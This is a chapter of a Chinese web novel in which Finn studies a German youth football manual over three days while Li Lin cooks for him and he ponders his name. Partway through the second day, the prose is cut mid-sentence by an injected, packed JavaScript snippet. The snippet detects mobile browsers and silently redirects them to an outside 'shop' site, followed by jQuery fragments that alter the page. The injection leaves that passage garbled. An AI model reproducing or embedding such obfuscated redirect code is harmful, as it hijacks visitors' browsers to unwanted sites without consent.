第一天：冰糖雪梨
哈特曼离开后，客厅里长达十分钟的寂静，是由李琳端着一只小炖盅走进来打破的。
芬恩揭开盖子，清甜的香气混合着梨子特有的果香飘散出来。他慢慢地吃着，一勺一勺。温润的甜意从舌尖滑向喉咙，缓解了专注阅读和紧张会面带来的干燥感。
他将炖盅放到一旁，正式开始了工作。
他没有试图立刻从头到尾啃这本“砖头”。而是像处理一个复杂的数学或工程问题一样，先进行系统分析。他快速浏览目录和章节概要，用不同颜色的标签纸标记出核心部分。
接着，他拿出了自己的旧笔记本——封面磨损，页角卷起。他翻到最新一页，开始建立分析框架。左侧列是《纲领》中提取出的U16阶段关键能力指标，右侧列则分设“当前自我评估”、“差距程度（红/黄/绿）”、“优先提升级”、“拟定行动项”。
他开始一项项填写。“差距程度”一栏，触目惊心的红色（巨大差距）占据了超过七成的格子。但这并没有让他沮丧，反而像一张清晰度极高的地形图。
但真正让他停下笔的，是《纲领》的表达方式。
他翻到战术讲解部分。书中将一次成功的边路进攻，分解为：
“阶段一：吸引（宽度利用）→阶段二：穿透（直塞或套边）→阶段三：终结（传中或内切）”
每个阶段下列出2-3个“决策触发条件”和“常见错误模式”。
这不像足球教材，更像一份军事行动手册或软件流程图。德国人把足球变成了一门可拆解、可传授、可重复验证的系统工程。芬恩那些在芝加哥赖以生存的“观察”与“直觉”，在这里需要被翻译成这种冰冷的“系统语言”。
他盯着那些严谨到刻板的德文句子，第一次模糊地想：
“约翰·史密斯”——这个随手填写的匿名代号，能理解这种语言吗？它配进入这样一套精确的系统吗？还是说……需要一个更“像这里”的名字？
窗外的光线逐渐由明亮的午后转为金黄。当他在“拟定行动项”里写下训练计划时，房门又被轻轻敲响。李琳这次端来的是一杯温水和一小碟洗净的、紫得发黑的新鲜葡萄。
“歇歇眼睛。”她只说了这么一句。
芬恩拿起一颗葡萄放入口中，果实饱满，甜中带一点点恰到好处的酸。他继续工作，将光盘观看计划、体能自主加练设想等内容，逐一填入计划表。
晚餐是煎猪排、水煮西兰花和胡萝卜、以及带壳土豆。李琳默默地给他多盛了一勺土豆。
汉斯在餐桌上询问了《纲领》的大致内容，并提点了几句：“他们重视‘决策培训’（Entscheidungstraining）胜过单纯重复技术动作。任何练习，都会问你‘为什么这么做’。”
睡前，芬恩在笔记本角落，无意识地用铅笔写了几遍自己的姓氏“Schneider”。笔迹很轻，像在确认一个遥远而陌生的事实。
第二天：热牛奶
早晨是从一碗热腾腾的牛奶燕麦粥开始的，里面切了几片香蕉。李琳说：“上午看书，这个实在。”
芬恩的上午投入到《纲领》的战术原则部分。他反复阅读关于“区域防守”和“由守转攻决策树”的章节，并在笔记本上画出自己的理解草图，与书中的示意图进行比对。德国人的战术描述极其结构化，几乎像编程语言，这种高度逻辑化的表达方式，意外地契合他的思维模式。
下午，他观看第一张光盘——“范本：站位纪律与跑动路线（U16）”。
最初的几分钟，芬恩感到的是一种冰冷的震撼。
画面中的德国少年们在场上移动，完全不像芝加哥街头或“北风队”训练中那样带有鲜明的个人色彩或即兴发挥。他们的跑动像精密钟表里的齿轮——不，比齿轮更冷酷。齿轮只是转动，而这些孩子，是在执行一种看不见的集体意志。
即使球在遥远另一端，每个无球球员都在执行某种细微的调整：一个中后卫因应球的发展，悄然后撤三小步，只为维持那条虚拟的防线弧度；一个边锋在队友持球时，不是向前冲，反而向中路收缩三米，只为拉出边路那条可能的通道。
没有个人表演，只有齿轮咬合。没有自由创造，只有纪律执行。
他一次又一次地按下暂停键，在笔记本上临摹阵型，试图反推背后的逻辑。但疑问背后是更深的困惑：我的思维是美式的、个人的、算计的。我的名字是匿名的、临时的、矛盾的。我真的能变成这样的“齿轮”吗？
哈特曼的话在耳边响起：“在系统眼里，你是一个‘矛盾体’。”
傍晚时分，李琳递给他一个牛皮纸小袋，里面是混合好的烤杏仁、核桃仁和少许南瓜籽。“晚上要是饿，或者脑子需要动，吃这个。比糖好。”她顿了顿，“灶上煨了一小锅苹果茶，想喝自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179360|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒。”
深夜，当芬恩整理完笔记，感到太阳穴微微发胀时，厨房里那壶用肉桂和丁香微微煮过的苹果茶成了最佳慰藉。他倒了一大杯，酸甜温润，带着香料的独特气息。
他翻开笔记本，在今日总结的最后，鬼使神差地写下一行：
“他们叫我史密斯。但齿轮不需要名字，只需要编号。”
写完他愣住了，盯着这句话看了几秒，然后用力地、几乎划破纸页地涂掉了它。
第三天：土豆炖牛肉
上午，他完成了《纲领》第一遍通读，并将“待澄清问题”清单精简、优化，最终确定了三个最具枢纽意义的问题。
下午，他走进汉斯的书房，使用那台笨重的旧式台式电脑。他启动电脑，风扇发出低沉的嗡鸣，德文系统缓慢加载。
在发送邮件前，他的手指在键盘上悬停了很久。
他检查的不仅是问题本身，更是他选择的沟通姿态。他刻意删除了所有“尊敬的”、“祝好”之类的敬语和表情符号，让邮件读起来像一份技术简报或实验报告。这是他的计算：用系统最熟悉的“非人性化”语言，去尝试与系统对话。
点击发送。
邮件滑出发送箱的动画缓慢但确定。他退出邮箱，关闭电脑。屏幕光晕缓缓熄灭。
他在测试：“系统啊，你会用同样的语言回应我吗？”
晚餐时，厨房里飘出的浓郁肉香比往日更甚。李琳端上桌的是一大盆土豆炖牛肉，深褐色的汤汁浓厚，大块的牛肉炖得酥烂，土豆吸饱了汤汁的精华，旁边配着一篮切片的黑麦面包。
“多吃点，”李琳给芬恩盛了满满一大盘，“明天……后面要用力气了。”
汉斯说道：“邮件发出去了？很好。主动针对模糊地带提出清晰的问题，在这里会被视为积极和专业的信号，比沉默或抱怨有效得多。”
这顿饭吃得安静但异常满足。厚重温暖的食物实实在在地填满了胃部。炖牛肉的扎实温暖，与下午那封冰冷邮件的精准高效，在芬恩体内形成了奇妙的对比。
他开始感觉到，自己或许可以同时驾驭这两种东西：系统的冷酷，和人情的温暖。
而一个真正的名字，应该能同时容纳这两者。
睡前，芬恩没有涂改笔记本。他在一页空白处，清晰地写下了：
“Finn”
只是一个名字，没有姓氏。然后他合上了本子。